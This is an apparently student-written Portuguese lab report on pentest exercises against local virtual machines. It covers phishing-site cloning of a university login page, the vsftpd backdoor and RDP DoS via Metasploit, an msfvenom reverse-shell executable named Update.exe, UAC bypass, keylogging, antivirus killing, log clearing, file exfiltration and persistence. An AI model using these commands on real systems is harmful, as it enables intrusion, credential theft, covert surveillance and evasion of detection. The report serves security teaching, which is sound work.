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Introdução 
 
As atividades orientadas a ensino realizadas focaram no tema de Segurança 
Computacional, com estudos direcionados ao entendimento base de princípios de 
segurança computacional. 
 
Os sistemas testados foram criados com máquinas virtuais locais com o propósito de 
estudar diferentes ferramentas de pentest e segurança. 
 
 
Exploração de Vulnerabilidades 
 
Criação de Phishing 
 
Objetivo: 
Criar um site cópia para capturar credenciais de acesso. 
 
SEToolkit 
 
Ferramenta de engenharia social para criação de ataques, para essa atividade será 
utilizado para criação de um site clone. Ao iniciar a ferramenta são selecionadas as opções 
Social-Engineering Attacks > Website Attack Vectors > Credential Harvester Attack Method 
> Site Cloner, confirmar o ip da máquina virtual, e passar a url para ser clonada, nesse caso 
foi utilizada a url https://siscad.ufms.br/entrar. 

 

https://siscad.ufms.br/entrar


 

 
Quando o usuário tentar realizar um login, os dados serão salvos pelo setoolkit e o usuário 
será redirecionado para a página original que ele desejava acessar. 
 

 
 
Usos comuns para esse método de phishing são envios de emails maliciosos incentivando a 
vítima a abrir um link utilizando domínios com nomes próximos aos legítimos, por exemplo, 
utilizar o domínio “seguranca-instagram.com” para enviar um email de alerta de segurança 
solicitando que o usuário clique e faça login em uma url criada para a coleta do dado.

 

http://seguranca-instagram.com
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Exploração de vulnerabilidade FTP 
 
Objetivo: 
Encontrar e explorar uma falha de segurança em um serviço FTP. Para isso será utilizada 
uma máquina virtual com Metasploitable 2, feita propositalmente com vulnerabilidades para 
estudos de pentest. 
 
Nmap 
 
Utilizado para mapear possíveis vulnerabilidades em sites ou servidores. Para essa 
atividade foi utilizado o comando: 
 

nmap -p 21 --script=ftp-vsftpd-backdoor 192.168.56.101 

 
Esse comando sinaliza que deve ser procurado na porta 21 utilizando o script 
“ftp-vsftpd-backdoor” no ip 192.168.101, que corresponde ao ip da máquina virtual com 
Metasploitable 2. 
 

 
 
A partir do resultado do nmap, é possível detectar uma vulnerabilidade relacionada ao 
CVE-2011-2523. 
 
MSFConsole 
 
Ferramenta para busca e execução de exploits. Pesquisando por vulnerabilidades 
relacionadas ao vsftpd. 
 

 

https://www.cve.org/CVERecord?id=CVE-2011-2523
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Encontramos dois itens, será utilizado o de backdoor. Para usar o exploit basta passar o 
comando: 
 

use exploit/unix/ftp/vsftpd_234_backdoor 

 

 
 
Listando as opções para execução do exploit, são solicitados o ip ou domínio do hospedeiro 
do serviço e a porta, por padrão 21. E listando os payloads, é listado apenas um que prove 
acesso a linha de comando. Tanto ip de destino quanto o payload são definidos antes de 
executar o exploit. 
 

 



 

 
 
Executando o exploit, é iniciada uma sessão na máquina alvo com o usuário root. 
 
Mesmo que a falha relacionada ao CVE-2011-2523 já tenha sido concertada em versões 
posteriores, muitos sistemas não são atualizados com frequência, o que torna o uso de 
ferramentas como nmap e msfconsole muito úteis para identificar e utilizar exploits de forma 
fácil. 
 
Ataque de DoS 
 
Objetivo: 
Realizar um ataque de DoS em uma máquina virtual com Windows XP através do desktop 
remoto. 
 
Primeiro passo é habilitar o acesso remoto no Windows XP e verificar o ip da máquina. 
 

 

 

https://www.cve.org/CVERecord?id=CVE-2011-2523
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MSFConsole 
 
Utilizado para buscar e executar exploits conhecidos na máquina alvo relacionados ao 
Windows RDP. 
 

 
 

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 

 
Após configurar o ip da máquina hospedeira do serviço, basta executar o exploit. 
 

 
 
Ataques de DoS podem causar sérios problemas a empresas em que a estabilidade e 
disponibilidade de seus serviços são críticos e poucos minutos fora do ar podem causar 
sérios prejuízos financeiros e danificar a reputação da empresa. 
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Adicionar um backdoor em um executável 
 
Objetivo: 
Criar um executável que quando executado por uma máquina virtual com Windows 7, crie 
um backdoor para acesso remoto. 
 
MSVenom 
 
Uma ferramenta para criação e codificação de cargas, usada para injetar uma carga em um 
executável do windows permitindo uma conexão reversa assim que a vítima executar o 
arquivo. 
 

msfvenom -p windows/meterpreter/reverse_tcp -a x86 platform windows -f exe 
LHOST=192.168.56.102 LPORT=4444 -o Update.exe 

 
O comando acima define que a carga desejada é de tcp reverso, arquitectura x86, 
plataforma windows, formato exe, ip da máquina que ganhará o acesso é 192.168.56.102, 
a porta de acesso 4444, e o arquivo final se chama Update.exe. 
 
Com o arquivo gerado, o arquivo deve ser disponibilizado para a máquina alvo. Para isso, 
um servidor apache é inicializado na máquina atacante e o arquivo Update.exe colocado no 
diretório do apache /var/www/html. 
 

 
 
 
 
 

 



 
MSFConsole 
 
Através do MSFConsole, é utilizado o multi/handler para utilizar o tcp reverso, depois 
configurado os valores para o mesmo do utilizado pelo MSFVenom na geração do 
executável malicioso. 
 

 
 
Quando a vítima executar o arquivo, uma conexão é estabelecida da máquina atacante para 
a vítima. 
 

 
 
Uma vez estabelecida a conexão, a máquina vítima corre sérios perigos, suas ações podem 
ser monitoradas, arquivos encriptados e partes críticas do sistema comprometidas. Embora, 
nessa atividade, a vítima tenha baixado o arquivo diretamente do atacante, para fins de 
praticidade, esses tipos de executáveis maliciosos costumam ser disseminados através de 
campanhas de phishing e de arquivos de produtos piratas. 
 
 
 
 

 



 
 
Pós-Exploração 
 
Escalonamento de Privilégios no Windows 
 
Após estabelecer uma conexão com o exercício anterior, começa o processo de 
pós-exploração, onde o atacante deve se manter escondido e coletar o máximo possível de 
dados sem chamar a atenção. Um primeiro passo comum é trocar o identificador do 
processo da conexão, migrando para o id de processo do explorer.exe, por exemplo. 
 

 
 
Agora o Update.exe não vai mais aparecer nos processos, somente o explorer.exe. Para 
realizar o escalonamento de permissões, será necessário iniciar outro exploit através do 
MSFConsole. O comando background passa a sessão atual para o plano de fundo, depois o 
comando search bypassuac busca por exploits que consigam burlar o acesso do usuário. 
 

 
 
O comando use exploit/windows/local/bypassuac seleciona o exploit, e o comando show 
options lista as variáveis necessárias para rodar o exploit. 

 



 

 
 

 
 
Esse exploit utiliza a sessão inicial como base para iniciar outra com privilégios escalados. 
Rodando o comando getsystem do meterpreter ele tenta escalar os privilégios do usuário. O 
comando whoami /priv dentro do shell lista as permissões do usuário da sessão. 

 



 

 
 
Extração de dados 
 
Utilizando a mesma sessão criada com escalonamento de privilégios, podem ser 
executados mais comandos do meterpreter para extração de dados do usuário. 
 
run post/window/manage/killav 
 
Mata os antivírus que estiverem rodando na máquina. 
 
run keyscan_start 
 
Começa a captura dos inputs de teclado do usuário da máquina. 
 
run keyscan_dump 
 
Imprime os inputs de teclado capturados 
 
run keyscan_stop 
 
Para a captura de inputs de teclado. 

 



 
 
run vnc 
 
Começa uma nova sessão que captura a tela do computador infectado 
 

 
 
clearev 
 
Limpa as evidências do acesso e ações. 
 

 
 
search -d C:/Users/user -f *.txt 
 
Busca por arquivos dado o diretorio -d e o nome do arquivo -f, nesse exemplo estou 
procurando por arquivos do tipo .txt no usuário user. 
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download C:/Users/user/Documents/flag.txt 
 
Baixa um arquivo da máquina infectada para a máquina invasora. 
 

 
 
upload /home/shinohara/Documentos/test_upload.txt C:/Users/user/Documents/  
 
Envia um arquivo para a máquina invadida. 
 

 
 
Scripts para execução do comandos do meterpreter 
 
Para agilizar o processo de pós exploração, podem ser criados scripts que automatizam os 
comandos. Esses scripts são escritos em arquivos com extensão .rc. 
 
Script para inicialização do exploit do backdoor de executável utilizado anteriormente. 
 

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost 192.168.56.102 
set lport 4444 
exploit -z 

 
A inicialização pode ser executada com o comando. 
 

msfconsole -r <script.rc> 

 
Persistência de sessão 
 
Com o backdoor criado anteriormente, é necessário que a vítima execute o arquivo 
infectado para que o atacante possa ter acesso novamente a máquina. Para garantir o 
acesso a máquina da vítima, pode ser utilizado outro exploit que gera um arquivo 
executável que inicia junto com a máquina. 
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Partindo dos passos anteriores de inicializar uma sessão e a partir dela iniciar outra para 
escalar os privilégios. 
 
Utilizando o módulo windows/local/persistence_service. 
 

 
 

 
 
Inicializando o exploit, aparece o log: 
 

[+] Meterpreter service exe written to 
C:\Users\user\AppData\Local\Temp\pHzYG.exe 

 
Isso indica o arquivo que foi criado na máquina vítima que será executado quando ela for 
ligada. 
 
 
 

 



 
CONCLUSÃO 
 
Nas atividades práticas de ensino, investigou-se como atacantes identificam e exploram 
vulnerabilidades em sistemas, e quais táticas são usadas para manter acesso após a 
exploração. O uso combinado de ferramentas modernas de OSINT e frameworks de 
exploração como o MSFConsole aumenta significativamente a acessibilidade e a rapidez 
com que sistemas desatualizados ou mal configurados podem ser comprometidos. Esse 
cenário realça a necessidade contínua de políticas e procedimentos de segurança: 
monitoramento ativo, gestão de vulnerabilidades e atualizações regulares são medidas 
essenciais para reduzir a superfície de ataque e impedir que brechas conhecidas sejam 
exploradas. Além disso, a prática demonstra que a defesa eficaz depende não só de 
ferramentas técnicas, mas também de processos (p. ex., resposta a incidentes, backups, 
hardening) e de capacitação de equipes para reconhecer e mitigar riscos. 
 
Campo Grande, 13 de setembro de 2025. 
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